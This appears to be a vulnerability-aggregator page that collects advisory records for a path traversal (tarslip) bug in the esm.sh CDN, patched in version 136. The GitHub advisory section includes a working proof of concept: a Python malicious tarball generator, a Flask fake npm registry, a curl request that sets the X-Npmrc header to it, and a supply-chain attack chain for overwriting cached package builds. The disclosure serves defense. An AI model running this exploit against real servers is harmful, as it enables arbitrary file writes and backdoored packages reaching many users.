esm.sh CDN service has arbitrary file write via tarslip

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136.

Source published

19 Nov 2025 17:32:46 UTC

Source modified

20 Nov 2025 14:09:44 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136.

Source published

Nov 19, 2025, 5:32:46 PM (timezone not stated)

Source modified

Nov 20, 2025, 2:09:44 PM (timezone not stated)

Observed here

9 Nov 2026 04:07:54 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, the esm.sh CDN service is vulnerable to path traversal during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. This issue has been patched in version 136.

Source published

19 Nov 2025 18:15:49 UTC

Source modified

18 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 03:17:36 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

CVSS 3.1 · [email protected] · Primary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### Summary The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. Uploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry. By setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered. ### Details **file:** `server/npmrc.go` **line:** 552-567 ```go func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) { pkgDir := path.Join(installDir, "node_modules", pkgName) tr := tar.NewReader(unziped) for { h, err := tr.Next() // ... // Strip tarball root directory _, name := utils.SplitByFirstByte(h.Name, '/') // "package/../../tmp/evil" → "../../tmp/evil" filename := path.Join(pkgDir, name) // ← No validation if h.Typeflag != tar.TypeReg { continue } // Extension filtering extname := path.Ext(filename) if !(extname != "" && (allowed_extensions)) { continue // Only extract .js, .css, .json, etc. } ensureDir(path.Dir(filename)) f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644) // ← File created without path validation! // ... } } ``` The code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory. ``` pkgDir: /esm/npm/[email protected]/node_modules/evil-pkg name: ../../../../../../tmp/pyozzi.js result: /esm/npm/[email protected]/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js → /tmp/pyozzi.js (path traversal) ``` ### PoC **Test On** - esm.sh Official Docker Image (latest version) - python 3.11 - flask (for attacker registry server) ### Step 1. Create Malicious tarball file ```python #!/usr/bin/env python3 """ Malicious Tarball Generator for esm.sh Path Traversal Creates tarball with path traversal payloads """ import tarfile import io,os import json from datetime import datetime def create_malicious_tarball(package_name="test-tarslip"): # PoC file Content poc_payload = b"""// Path Traversal PoC // This file was created via tarslip attack // Location: /tmp/pyozzi.js console.log('[!!!] Path Traversal Successful!'); console.log('Package: %s'); console.log('Researcher: pyozzi'); module.exports = { poc: true, vulnerability: 'CWE-22 Path Traversal', package: '%s' }; """ % (package_name.encode(), package_name.encode()) files = { "package/index.js": b"module.exports = { version: '1.0.0', test: true };", "package/package.json": json.dumps({ "name": package_name, "version": "1.0.0", "description": "Test package for security research", "main": "index.js", "keywords": ["test", "security", "research"], "author": "Security Researcher", "license": "MIT" }, indent=2).encode(), "package/../../../../../../../../../tmp/pyozzi.js": poc_payload, } # Create Tarball tarball_name = f"{package_name}-1.0.0.tgz" print("Creating tarball with payloads:") print() with tarfile.open(tarball_name, "w:gz") as tar: for name, content in files.items(): info = tarfile.TarInfo(name=name) info.size = len(content) info.mode = 0o755 info.mtime = int(datetime.now().timestamp()) tar.addfile(info, io.BytesIO(content)) print(f"File: {tarball_name}") print(f"Size: {os.path.getsize(tarball_name)} bytes") # Check Tarball Content print("Tarball contents:") with tarfile.open(tarball_name, "r:gz") as tar: for member in tar.getmembers(): marker = ">> " if "../" in member.name else " " mode = oct(member.mode)[-3:] print(f"{marker}{member.name} (mode: {mode})") if __name__ == '__main__': create_malicious_tarball() ``` **output:** ```bash $ python create_tarball.py Creating tarball with payloads: File: test-tarslip-1.0.0.tgz Size: 545 bytes Tarball contents: package/index.js (mode: 755) package/package.json (mode: 755) >> package/../../../../../../../../../tmp/pyozzi.js (mode: 755) ``` ### Step 2. Run Fake Registry Server ```python # fake-npm-registry.py from flask import Flask, jsonify, send_file app = Flask(__name__) MALICIOUS_TARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER @app.route('/<package>') def get_metadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} }) @app.route('/<package>/-/<filename>') def get_tarball(package, filename): return send_file(MALICIOUS_TARBALL, mimetype='application/gzip') if __name__ == '__main__': app.run(host='0.0.0.0', port=9999) ``` ```bash python3 fake-npm-registry.py ``` ### Step 3. Request Malicious Package with X-Npmrc Header ```bash curl "http://localhost:8080/[email protected]" \ -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}' ``` ### Step 4. Check Path Traversal ```bash docker exec esm-test cat /tmp/pyozzi.js # ouput: // Path Traversal PoC // This file was created via tarslip attack // Location: /tmp/pyozzi.js console.log('[!!!] Path Traversal Successful!'); console.log('Package: test-tarslip'); console.log('Researcher: pyozzi'); module.exports = { poc: true, vulnerability: 'CWE-22 Path Traversal', package: 'test-tarslip' }; ... ``` ### Impact This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages. **Attack Chain:** 1. Attacker identifies popular packages and their cached build file locations via API enumeration 2. Uses path traversal to overwrite cached build files (e.g., `/esm/storage/modules/[email protected]/es2022/react.mjs`) 3. Injects malicious code into the build files 4. Any application importing these packages receives the backdoored version 5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications) **Impact Scale:** - Affects all downstream users of compromised packages - Can target specific frameworks (React, Vue, etc.) used by thousands of applications - Enables XSS in browsers, RCE in Electron applications - Difficult to detect as traffic appears legitimate ### Patch 1. Path validation is required when unpacking a tar file. 2. `X-Npmrc` whitelist logic is required.

Source published

19 Nov 2025 20:30:00 UTC

Source modified

27 Nov 2025 09:00:45 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Publisher rating · HIGH

esm.sh CDN service has arbitrary file write via tarslip in github.com/esm-dev/esm.sh

Source published

25 Nov 2025 18:12:18 UTC

Source modified

3 Mar 2026 04:57:38 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.